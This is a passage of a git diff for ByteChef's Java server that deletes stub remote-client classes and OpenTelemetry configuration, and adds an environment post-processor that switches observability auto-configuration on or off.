+++ b/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/facade/RemoteWorkspaceConnectionFacadeClient.java
@@ -31,11 +31,6 @@ public void delete(long connectionId) {
         throw new UnsupportedOperationException();
     }
 
-    @Override
-    public void disconnectConnection(long connectionId) {
-        throw new UnsupportedOperationException();
-    }
-
     @Override
     public List<com.bytechef.platform.connection.dto.ConnectionDTO> getConnections(
         long workspaceId, String componentName, Integer connectionVersion, Long connectionEnvironment,
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/service/RemoteProjectDeploymentWorkflowServiceClient.java b/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/service/RemoteProjectDeploymentWorkflowServiceClient.java
index 45296266e65..1961048c739 100644
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/service/RemoteProjectDeploymentWorkflowServiceClient.java
+++ b/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/service/RemoteProjectDeploymentWorkflowServiceClient.java
@@ -51,11 +51,6 @@ public void delete(long id) {
         throw new UnsupportedOperationException();
     }
 
-    @Override
-    public void deleteProjectDeploymentWorkflowConnection(long connectionId) {
-        throw new UnsupportedOperationException();
-    }
-
     @Override
     public Optional<ProjectDeploymentWorkflow> fetchProjectDeploymentWorkflow(
         long projectDeploymentId, String workflowId) {
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/service/RemoteProjectWorkflowServiceClient.java b/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/service/RemoteProjectWorkflowServiceClient.java
index c1a9463a788..3ad221065c5 100644
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/service/RemoteProjectWorkflowServiceClient.java
+++ b/server/ee/libs/automation/automation-configuration/automation-configuration-remote-client/src/main/java/com/bytechef/ee/automation/configuration/remote/client/service/RemoteProjectWorkflowServiceClient.java
@@ -50,11 +50,6 @@ public String getLastWorkflowId(String workflowUuid) {
         throw new UnsupportedOperationException();
     }
 
-    @Override
-    public List<ProjectWorkflow> getLatestProjectWorkflows() {
-        throw new UnsupportedOperationException();
-    }
-
     @Override
     public ProjectWorkflow getLastProjectWorkflow(long projectId, String workflowUuid) {
         throw new UnsupportedOperationException();
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/ProjectGitApi.java b/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/ProjectGitApi.java
index 3d2260b0b1c..60ef3c6f2fe 100644
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/ProjectGitApi.java
+++ b/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/ProjectGitApi.java
@@ -33,7 +33,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.373213+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.357941+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "project-git", description = "The Automation Project Git Internal API")
 public interface ProjectGitApi {
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/WorkspaceApi.java b/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/WorkspaceApi.java
index 6165bf820c3..eab334ad934 100644
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/WorkspaceApi.java
+++ b/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/WorkspaceApi.java
@@ -32,7 +32,7 @@
 import java.util.Optional;
 import jakarta.annotation.Generated;
 
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.373213+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.357941+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 @Validated
 @Tag(name = "workspace", description = "The Automation Workspace Internal API")
 public interface WorkspaceApi {
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/model/ProjectGitConfigurationModel.java b/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/model/ProjectGitConfigurationModel.java
index 975aab117ed..f9755f6b787 100644
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/model/ProjectGitConfigurationModel.java
+++ b/server/ee/libs/automation/automation-configuration/automation-configuration-rest/generated/src/main/java/com/bytechef/ee/automation/configuration/web/rest/model/ProjectGitConfigurationModel.java
@@ -24,7 +24,7 @@
 
 @Schema(name = "ProjectGitConfiguration", description = "The git configuration.")
 @JsonTypeName("ProjectGitConfiguration")
-@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-23T12:36:59.373213+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:56.357941+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
 public class ProjectGitConfigurationModel {
 
   private Long projectId;
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-service/build.gradle.kts b/server/ee/libs/automation/automation-configuration/automation-configuration-service/build.gradle.kts
index ad1367f27fd..f619e117beb 100644
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-service/build.gradle.kts
+++ b/server/ee/libs/automation/automation-configuration/automation-configuration-service/build.gradle.kts
@@ -1,6 +1,5 @@
 dependencies {
     implementation("org.springframework:spring-context")
-    implementation("org.springframework.boot:spring-boot-autoconfigure")
     implementation("org.springframework.data:spring-data-jdbc")
     implementation(project(":server:libs:atlas:atlas-configuration:atlas-configuration-repository:atlas-configuration-repository-git"))
     implementation(project(":server:libs:automation:automation-configuration:automation-configuration-api"))
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/ee/automation/configuration/config/EeAutomationConfigurationJdbcRepositoryConfiguration.java b/server/ee/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/ee/automation/configuration/config/EeAutomationConfigurationJdbcRepositoryConfiguration.java
deleted file mode 100644
index 6fd4bcb8d10..00000000000
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/ee/automation/configuration/config/EeAutomationConfigurationJdbcRepositoryConfiguration.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.automation.configuration.config;
-
-import org.springframework.boot.autoconfigure.AutoConfiguration;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnBean;
-import org.springframework.data.jdbc.repository.config.AbstractJdbcConfiguration;
-import org.springframework.data.jdbc.repository.config.EnableJdbcRepositories;
-
-/**
- * @author Ivica Cardic
- */
-@AutoConfiguration(afterName = "org.springframework.boot.data.jdbc.autoconfigure.DataJdbcRepositoriesAutoConfiguration")
-@ConditionalOnBean(AbstractJdbcConfiguration.class)
-@EnableJdbcRepositories(basePackages = "com.bytechef.ee.automation.configuration.repository")
-class EeAutomationConfigurationJdbcRepositoryConfiguration {
-}
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/ee/automation/configuration/facade/ProjectCodeWorkflowFacadeImpl.java b/server/ee/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/ee/automation/configuration/facade/ProjectCodeWorkflowFacadeImpl.java
index de662f0b79e..8b999be349e 100644
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/ee/automation/configuration/facade/ProjectCodeWorkflowFacadeImpl.java
+++ b/server/ee/libs/automation/automation-configuration/automation-configuration-service/src/main/java/com/bytechef/ee/automation/configuration/facade/ProjectCodeWorkflowFacadeImpl.java
@@ -10,8 +10,6 @@
 import com.bytechef.automation.configuration.domain.Project;
 import com.bytechef.automation.configuration.service.ProjectService;
 import com.bytechef.automation.configuration.service.ProjectWorkflowService;
-import com.bytechef.automation.project.ProjectHandler;
-import com.bytechef.automation.project.definition.ProjectDefinition;
 import com.bytechef.ee.automation.configuration.service.ProjectCodeWorkflowService;
 import com.bytechef.ee.platform.codeworkflow.configuration.domain.CodeWorkflowContainer;
 import com.bytechef.ee.platform.codeworkflow.configuration.domain.CodeWorkflowContainer.Language;
@@ -19,6 +17,8 @@
 import com.bytechef.platform.annotation.ConditionalOnEEVersion;
 import com.bytechef.platform.codeworkflow.loader.automation.ProjectHandlerLoader;
 import com.bytechef.platform.constant.PlatformType;
+import com.bytechef.workflow.ProjectHandler;
+import com.bytechef.workflow.definition.ProjectDefinition;
 import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
 import java.io.IOException;
 import java.net.URI;
@@ -100,11 +100,6 @@ private Project createProject(long workspaceId, ProjectDefinition projectDefinit
         return projectService.create(project);
     }
 
-    /**
-     * Security Note: PATH_TRAVERSAL_IN - Temporary files are created with system-generated names in the temp directory,
-     * not user-controlled paths. Access is restricted to administrators.
-     */
-    @SuppressFBWarnings("PATH_TRAVERSAL_IN")
     private ProjectDefinition loadProjectDefinition(Language language, byte[] bytes) throws IOException {
         Path path = Files.createTempFile("code_workflow_project", language.getExtension());
 
diff --git a/server/ee/libs/automation/automation-configuration/automation-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/server/ee/libs/automation/automation-configuration/automation-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
deleted file mode 100644
index 62124dc6fc2..00000000000
--- a/server/ee/libs/automation/automation-configuration/automation-configuration-service/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports
+++ /dev/null
@@ -1 +0,0 @@
-com.bytechef.ee.automation.configuration.config.EeAutomationConfigurationJdbcRepositoryConfiguration
diff --git a/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/build.gradle.kts b/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/build.gradle.kts
deleted file mode 100644
index 335bdc0c271..00000000000
--- a/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/build.gradle.kts
+++ /dev/null
@@ -1,5 +0,0 @@
-dependencies {
-    implementation(project(":server:libs:automation:automation-data-table:automation-data-table-api"))
-    implementation(project(":server:libs:platform:platform-api"))
-    implementation("org.springframework:spring-context")
-}
diff --git a/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/src/main/java/com/bytechef/ee/automation/data/table/remote/client/service/RemoteDataTableRowServiceClient.java b/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/src/main/java/com/bytechef/ee/automation/data/table/remote/client/service/RemoteDataTableRowServiceClient.java
deleted file mode 100644
index ade922f406a..00000000000
--- a/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/src/main/java/com/bytechef/ee/automation/data/table/remote/client/service/RemoteDataTableRowServiceClient.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.automation.data.table.remote.client.service;
-
-import com.bytechef.automation.data.table.execution.domain.DataTableRow;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import java.util.List;
-import java.util.Map;
-import org.springframework.stereotype.Component;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnEEVersion
-public class RemoteDataTableRowServiceClient implements DataTableRowService {
-    @Override
-    public List<DataTableRow> listRows(String baseName, int limit, int offset, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public DataTableRow insertRow(String baseName, Map<String, Object> values, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public DataTableRow updateRow(String baseName, long id, Map<String, Object> values, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public boolean deleteRow(String baseName, long id, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public DataTableRow getRow(String baseName, long id, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public String exportCsv(String baseName, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public void importCsv(String baseName, String csv, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-}
diff --git a/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/src/main/java/com/bytechef/ee/automation/data/table/remote/client/service/RemoteDataTableServiceClient.java b/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/src/main/java/com/bytechef/ee/automation/data/table/remote/client/service/RemoteDataTableServiceClient.java
deleted file mode 100644
index 4278e83078d..00000000000
--- a/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/src/main/java/com/bytechef/ee/automation/data/table/remote/client/service/RemoteDataTableServiceClient.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.automation.data.table.remote.client.service;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableInfo;
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.domain.ColumnSpec;
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import java.util.List;
-import org.springframework.stereotype.Component;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnEEVersion
-public class RemoteDataTableServiceClient implements DataTableService {
-
-    @Override
-    public void createTable(String baseName, List<ColumnSpec> columnSpecs, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public void createTable(String baseName, String description, List<ColumnSpec> columnSpecs, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public void addColumn(String baseName, ColumnSpec columnSpec, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public void removeColumn(String baseName, String columnName, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public void renameColumn(String baseName, String fromColumnName, String toColumnName, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public void dropTable(String baseName, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public List<DataTableInfo> listTables(long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public List<DataTableInfo> listTables(long workspaceId, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public String getBaseNameById(long id) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public long getIdByBaseName(String baseName) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public void renameTable(String fromBaseName, String toBaseName, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public void duplicateTable(String fromBaseName, String toBaseName, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public void createTable(long workspaceId, String baseName, List<ColumnSpec> columnSpecs, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public void createTable(
-        String baseName, String description, List<ColumnSpec> columnSpecs, long workspaceId, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-}
diff --git a/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/src/main/java/com/bytechef/ee/automation/data/table/remote/client/service/RemoteDataTableWebhookServiceClient.java b/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/src/main/java/com/bytechef/ee/automation/data/table/remote/client/service/RemoteDataTableWebhookServiceClient.java
deleted file mode 100644
index aee90608a02..00000000000
--- a/server/ee/libs/automation/automation-data-table/automation-data-table-remote-client/src/main/java/com/bytechef/ee/automation/data/table/remote/client/service/RemoteDataTableWebhookServiceClient.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the ByteChef Enterprise license (the "Enterprise License");
- * you may not use this file except in compliance with the Enterprise License.
- */
-
-package com.bytechef.ee.automation.data.table.remote.client.service;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableWebhookType;
-import com.bytechef.automation.data.table.configuration.service.DataTableWebhookService;
-import com.bytechef.platform.annotation.ConditionalOnEEVersion;
-import java.util.List;
-import org.springframework.stereotype.Component;
-
-/**
- * @version ee
- *
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnEEVersion
-public class RemoteDataTableWebhookServiceClient implements DataTableWebhookService {
-
-    @Override
-    public long addWebhook(String baseName, String url, DataTableWebhookType type, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public List<Webhook> listWebhooks(String baseName, long environmentId) {
-        throw new UnsupportedOperationException();
-    }
-
-    @Override
-    public void removeWebhook(long id) {
-        throw new UnsupportedOperationException();
-    }
-}
diff --git a/server/ee/libs/config/observability-config/build.gradle.kts b/server/ee/libs/config/observability-config/build.gradle.kts
index c3068b18c08..2e833b0cf2c 100644
--- a/server/ee/libs/config/observability-config/build.gradle.kts
+++ b/server/ee/libs/config/observability-config/build.gradle.kts
@@ -1,13 +1,9 @@
 dependencies {
-    implementation("ch.qos.logback:logback-core")
-    implementation("jakarta.servlet:jakarta.servlet-api")
-    implementation("io.micrometer:micrometer-core")
-    implementation("io.micrometer:micrometer-tracing")
-    implementation("io.opentelemetry:opentelemetry-api")
+    implementation("io.micrometer:micrometer-registry-prometheus")
+    implementation(libs.loki.logback.appender)
+    implementation("io.micrometer:micrometer-tracing-bridge-otel")
     implementation("io.opentelemetry:opentelemetry-exporter-otlp")
-    implementation("io.opentelemetry.instrumentation:opentelemetry-logback-appender-1.0:2.24.0-alpha")
-    implementation("org.slf4j:slf4j-api")
+    implementation("org.apache.commons:commons-lang3")
     implementation("org.springframework:spring-context")
-    implementation("org.springframework:spring-web")
     implementation("org.springframework.boot:spring-boot-autoconfigure")
 }
diff --git a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/config/ContextPropagationConfiguration.java b/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/config/ContextPropagationConfiguration.java
deleted file mode 100644
index 91b0076fc6a..00000000000
--- a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/config/ContextPropagationConfiguration.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.observability.config;
-
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.core.task.support.ContextPropagatingTaskDecorator;
-
-/**
- * @Matija Petanjek
- */
-@Configuration(proxyBeanMethods = false)
-public class ContextPropagationConfiguration {
-
-    @Bean
-    ContextPropagatingTaskDecorator contextPropagatingTaskDecorator() {
-        return new ContextPropagatingTaskDecorator();
-    }
-}
diff --git a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/config/InstallOpenTelemetryAppender.java b/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/config/InstallOpenTelemetryAppender.java
deleted file mode 100644
index 059b64c9dbd..00000000000
--- a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/config/InstallOpenTelemetryAppender.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.observability.config;
-
-import io.opentelemetry.api.OpenTelemetry;
-import io.opentelemetry.instrumentation.logback.appender.v1_0.OpenTelemetryAppender;
-import org.springframework.beans.factory.InitializingBean;
-
-/**
- * @Matija Petanjek
- */
-class InstallOpenTelemetryAppender implements InitializingBean {
-
-    private final OpenTelemetry openTelemetry;
-
-    InstallOpenTelemetryAppender(OpenTelemetry openTelemetry) {
-        this.openTelemetry = openTelemetry;
-    }
-
-    @Override
-    public void afterPropertiesSet() {
-        OpenTelemetryAppender.install(this.openTelemetry);
-    }
-}
diff --git a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/config/OpenTelemetryConfiguration.java b/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/config/OpenTelemetryConfiguration.java
deleted file mode 100644
index 352b10497ba..00000000000
--- a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/config/OpenTelemetryConfiguration.java
+++ /dev/null
@@ -1,74 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.observability.config;
-
-import io.micrometer.core.instrument.Tags;
-import io.micrometer.core.instrument.binder.jvm.ClassLoaderMetrics;
-import io.micrometer.core.instrument.binder.jvm.JvmMemoryMetrics;
-import io.micrometer.core.instrument.binder.jvm.JvmThreadMetrics;
-import io.micrometer.core.instrument.binder.jvm.convention.otel.OpenTelemetryJvmClassLoadingMeterConventions;
-import io.micrometer.core.instrument.binder.jvm.convention.otel.OpenTelemetryJvmCpuMeterConventions;
-import io.micrometer.core.instrument.binder.jvm.convention.otel.OpenTelemetryJvmMemoryMeterConventions;
-import io.micrometer.core.instrument.binder.jvm.convention.otel.OpenTelemetryJvmThreadMeterConventions;
-import io.micrometer.core.instrument.binder.system.ProcessorMetrics;
-import io.opentelemetry.api.OpenTelemetry;
-import java.util.List;
-import org.springframework.context.annotation.Bean;
-import org.springframework.context.annotation.Configuration;
-import org.springframework.http.server.observation.OpenTelemetryServerRequestObservationConvention;
-
-/**
- * @Matija Petanjek
- */
-@Configuration(proxyBeanMethods = false)
-public class OpenTelemetryConfiguration {
-
-    @Bean
-    InstallOpenTelemetryAppender installOpenTelemetryAppender(OpenTelemetry openTelemetry) {
-        return new InstallOpenTelemetryAppender(openTelemetry);
-    }
-
-    @Bean
-    OpenTelemetryServerRequestObservationConvention openTelemetryServerRequestObservationConvention() {
-        return new OpenTelemetryServerRequestObservationConvention();
-    }
-
-    @Bean
-    OpenTelemetryJvmCpuMeterConventions openTelemetryJvmCpuMeterConventions() {
-        return new OpenTelemetryJvmCpuMeterConventions(Tags.empty());
-    }
-
-    @Bean
-    ProcessorMetrics processorMetrics() {
-        return new ProcessorMetrics(List.of(), new OpenTelemetryJvmCpuMeterConventions(Tags.empty()));
-    }
-
-    @Bean
-    JvmMemoryMetrics jvmMemoryMetrics() {
-        return new JvmMemoryMetrics(List.of(), new OpenTelemetryJvmMemoryMeterConventions(Tags.empty()));
-    }
-
-    @Bean
-    JvmThreadMetrics jvmThreadMetrics() {
-        return new JvmThreadMetrics(List.of(), new OpenTelemetryJvmThreadMeterConventions(Tags.empty()));
-    }
-
-    @Bean
-    ClassLoaderMetrics classLoaderMetrics() {
-        return new ClassLoaderMetrics(new OpenTelemetryJvmClassLoadingMeterConventions());
-    }
-}
diff --git a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/env/ObservabilityEnvironmentPostProcessor.java b/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/env/ObservabilityEnvironmentPostProcessor.java
new file mode 100644
index 00000000000..1a187f255e4
--- /dev/null
+++ b/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/env/ObservabilityEnvironmentPostProcessor.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright 2025 ByteChef
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      https://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.bytechef.ee.observability.env;
+
+import java.util.HashMap;
+import java.util.Map;
+import org.apache.commons.lang3.StringUtils;
+import org.springframework.boot.EnvironmentPostProcessor;
+import org.springframework.boot.SpringApplication;
+import org.springframework.core.env.ConfigurableEnvironment;
+import org.springframework.core.env.MapPropertySource;
+import org.springframework.core.env.MutablePropertySources;
+
+/**
+ * @author Matija Petanjek
+ */
+public class ObservabilityEnvironmentPostProcessor implements EnvironmentPostProcessor {
+
+    @Override
+    public void postProcessEnvironment(ConfigurableEnvironment environment, SpringApplication application) {
+        Map<String, Object> source = new HashMap<>();
+
+        if (!environment.getProperty("bytechef.observability.enabled", Boolean.class, false)) {
+            source.put(
+                "spring.autoconfigure.exclude",
+                StringUtils.join(
+                    environment.getProperty("spring.autoconfigure.exclude"),
+                    """
+                        ,org.springframework.boot.actuate.autoconfigure.metrics.export.prometheus.PrometheusMetricsExportAutoConfiguration
+                        ,org.springframework.boot.actuate.autoconfigure.tracing.otlp.OtlpTracingAutoConfiguration
+                        ,org.springframework.boot.actuate.autoconfigure.opentelemetry.OpenTelemetryAutoConfiguration
+                        ,org.springframework.boot.actuate.autoconfigure.tracing.OpenTelemetryTracingAutoConfiguration
+                        ,org.springframework.boot.actuate.autoconfigure.logging.OpenTelemetryLoggingAutoConfiguration
+                        """));
+
+            source.put("bytechef.observability.loki.appender.level", "OFF");
+        }
+
+        MapPropertySource mapPropertySource = new MapPropertySource("Custom Observability Config", source);
+
+        MutablePropertySources mutablePropertySources = environment.getPropertySources();
+
+        mutablePropertySources.addFirst(mapPropertySource);
+    }
+}
diff --git a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/filter/AddTraceIdFilter.java b/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/filter/AddTraceIdFilter.java
deleted file mode 100644
index 62f41a345c8..00000000000
--- a/server/ee/libs/config/observability-config/src/main/java/com/bytechef/ee/observability/filter/AddTraceIdFilter.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.ee.observability.filter;
-
-import io.micrometer.tracing.CurrentTraceContext;
-import io.micrometer.tracing.TraceContext;
-import io.micrometer.tracing.Tracer;
-import jakarta.servlet.FilterChain;
-import jakarta.servlet.ServletException;
-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpServletResponse;
-import java.io.IOException;
-import org.jspecify.annotations.Nullable;
-import org.springframework.web.filter.OncePerRequestFilter;
-
-/**
- * @Matija Petanjek
- */
-class AddTraceIdFilter extends OncePerRequestFilter {
-
-    private final Tracer tracer;
-
-    AddTraceIdFilter(Tracer tracer) {
-        this.tracer = tracer;
-    }
-
-    @Override
-    protected void doFilterInternal(HttpServletRequest request, HttpServletResponse response, FilterChain filterChain)
-        throws ServletException, IOException {
-        String traceId = getTraceId();
-
-        if (traceId != null) {
